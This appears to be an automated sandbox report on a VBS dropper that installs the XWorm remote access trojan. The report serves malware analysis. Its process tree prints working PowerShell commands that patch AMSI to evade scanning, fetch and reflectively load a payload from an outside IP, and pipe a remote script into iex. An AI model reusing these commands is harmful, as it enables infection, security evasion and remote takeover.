Analysis
- max time kernel
149s - max time network
141s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
13/03/2026, 19:01
General
- Target Projet20Immobilier.vbs
- Size 26KB
- Sample260313-xpj5csbt8t
- SHA256 dd068eed57c2238760f2f925cdb0ce1c016c44e9ded3b064a39961df200018de
Malware Config
Extracted
-
ps1
-
exe.dropper
http://157.245.45.38/in.txt
Extracted
-
xworm
-
5.0
-
157.245.45.38:7771
-
7VhafN70XMAdlUsS
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Kills process with taskkill 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Projet20Immobilier.vbs"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -Ep unrestricted -C "$ProgressPreference='SilentlyContinue';[Net.ServicePointManager]::SecurityProtocol=3072;$c='using System;using System.Runtime.InteropServices;public class P{[DllImport(\"kernel32\")]public static extern IntPtr GetProcAddress(IntPtr h,string n);[DllImport(\"kernel32\")]public static extern IntPtr LoadLibrary(string n);[DllImport(\"kernel32\")]public static extern bool VirtualProtect(IntPtr a,UIntPtr s,uint n,out uint o);public static void B(){try{IntPtr l=LoadLibrary(\"amsi.dll\" );if(l==IntPtr.Zero)return;IntPtr a=GetProcAddress(l,\"AmsiScanBuffer\" );if(a==IntPtr.Zero)return;uint o;byte[] p={0x8B,0x4C,0x24,0x18,0xC7,0x01,0x00,0x00,0x00,0x00,0x31,0xC0,0xC2,0x18,0x00};VirtualProtect(a,(UIntPtr)p.Length,0x40,out o);System.Runtime.InteropServices.Marshal.Copy(p,0,a,p.Length);VirtualProtect(a,(UIntPtr)p.Length,o,out o);}catch{}}};';Add-Type -TypeDefinition $c;[P]::B();$u='http://157.245.45.38/in.txt';$b='';try{$b=(iwr -Uri $u -UseBasicParsing -TimeoutSec 20).Content}catch{};if(!$b){$t1='C:\Users\Admin\AppData\Local\Temp\a.txt';if(Test-Path $t1){$b=gc $t1 -Raw}};if(!$b){$t2='C:\Users\Admin\AppData\Local\Temp\b.txt';if(Test-Path $t2){$b=gc $t2 -Raw}};if(!$b){exit};$b=$b.Replace('!!','A');$bytes=[Convert]::FromBase64String($b);$ms=New-Object IO.MemoryStream(,$bytes);$asm=[Reflection.Assembly]::Load($ms.ToArray());[ClassLibrary2.Executor]::Run();"2⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -Ep unrestricted -C "$ProgressPreference='SilentlyContinue';[Net.ServicePointManager]::SecurityProtocol=3072;$c='using System;using System.Runtime.InteropServices;public class P{[DllImport(\"kernel32\")]public static extern IntPtr GetProcAddress(IntPtr h,string n);[DllImport(\"kernel32\")]public static extern IntPtr LoadLibrary(string n);[DllImport(\"kernel32\")]public static extern bool VirtualProtect(IntPtr a,UIntPtr s,uint n,out uint o);public static void B(){try{IntPtr l=LoadLibrary(\"amsi.dll\" );if(l==IntPtr.Zero)return;IntPtr a=GetProcAddress(l,\"AmsiScanBuffer\" );if(a==IntPtr.Zero)return;uint o;byte[] p={0x8B,0x4C,0x24,0x18,0xC7,0x01,0x00,0x00,0x00,0x00,0x31,0xC0,0xC2,0x18,0x00};VirtualProtect(a,(UIntPtr)p.Length,0x40,out o);System.Runtime.InteropServices.Marshal.Copy(p,0,a,p.Length);VirtualProtect(a,(UIntPtr)p.Length,o,out o);}catch{}}};';Add-Type -TypeDefinition $c;[P]::B();$u='http://157.245.45.38/in.txt';$b='';try{$b=(iwr -Uri $u -UseBasicParsing -TimeoutSec 20).Content}catch{};if(!$b){$t1='C:\Users\Admin\AppData\Local\Temp\a.txt';if(Test-Path $t1){$b=gc $t1 -Raw}};if(!$b){$t2='C:\Users\Admin\AppData\Local\Temp\b.txt';if(Test-Path $t2){$b=gc $t2 -Raw}};if(!$b){exit};$b=$b.Replace('!!','A');$bytes=[Convert]::FromBase64String($b);$ms=New-Object IO.MemoryStream(,$bytes);$asm=[Reflection.Assembly]::Load($ms.ToArray());[ClassLibrary2.Executor]::Run();"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ejchq5dc\ejchq5dc.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE19.tmp" "c:\Users\Admin\AppData\Local\Temp\ejchq5dc\CSC82BC6EF7674641638A384E471ABF81B6.TMP"5⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM 5156 /F4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" && exit5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RESEE19.tmp
__PSScriptPolicyTest_jedecxvi.hu0.ps1
ejchq5dc.dll
CSC82BC6EF7674641638A384E471ABF81B6.TMP
ejchq5dc.0.cs
ejchq5dc.cmdline
memory/1340-128-0x0000000002B00000-0x0000000002B19000-memory.dmp
memory/1340-125-0x0000000005BE0000-0x0000000005F37000-memory.dmp
memory/1340-129-0x0000000004C10000-0x0000000004C92000-memory.dmp
memory/1340-130-0x0000000005240000-0x0000000005291000-memory.dmp
memory/2340-107-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2340-117-0x0000000006BB0000-0x0000000007156000-memory.dmp
memory/2340-116-0x0000000006560000-0x00000000065F2000-memory.dmp
memory/2340-115-0x00000000011F0000-0x0000000001209000-memory.dmp
memory/2340-114-0x0000000004FF0000-0x000000000513D000-memory.dmp
memory/2340-132-0x00000000011F0000-0x0000000001209000-memory.dmp
memory/4988-88-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-64-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-33-0x00000000080C0000-0x000000000815C000-memory.dmp
memory/4988-34-0x0000000007960000-0x0000000007988000-memory.dmp
memory/4988-102-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-100-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-31-0x0000000006900000-0x0000000006908000-memory.dmp
memory/4988-111-0x0000000005460000-0x00000000054B1000-memory.dmp
memory/4988-1-0x0000000002E60000-0x0000000002E70000-memory.dmp
memory/4988-2-0x0000000002D90000-0x0000000002DC6000-memory.dmp
memory/4988-110-0x0000000002E70000-0x0000000002EF2000-memory.dmp
memory/4988-106-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-104-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-98-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-96-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-95-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-92-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-90-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-18-0x0000000006860000-0x000000000687A000-memory.dmp
memory/4988-86-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-84-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-82-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-80-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-78-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-76-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-74-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-70-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-68-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-66-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-32-0x0000000007930000-0x0000000007966000-memory.dmp
memory/4988-60-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-58-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-56-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-54-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-52-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-50-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-46-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-44-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-42-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-40-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-72-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-38-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-62-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-36-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-48-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-35-0x0000000007960000-0x0000000007981000-memory.dmp
memory/4988-17-0x00000000079A0000-0x000000000801A000-memory.dmp
memory/4988-16-0x0000000006380000-0x00000000063CC000-memory.dmp
memory/4988-15-0x0000000006320000-0x000000000633E000-memory.dmp
memory/4988-14-0x0000000005E40000-0x0000000006197000-memory.dmp
memory/4988-7-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/4988-6-0x0000000005530000-0x0000000005596000-memory.dmp
memory/4988-5-0x0000000005430000-0x0000000005452000-memory.dmp
memory/4988-4-0x00000000055B0000-0x0000000005BDA000-memory.dmp
memory/4988-3-0x0000000002E60000-0x0000000002E70000-memory.dmp
memory/5156-112-0x000002254B810000-0x000002254B81C000-memory.dmp
memory/5156-113-0x000002254B980000-0x000002254B9DD000-memory.dmp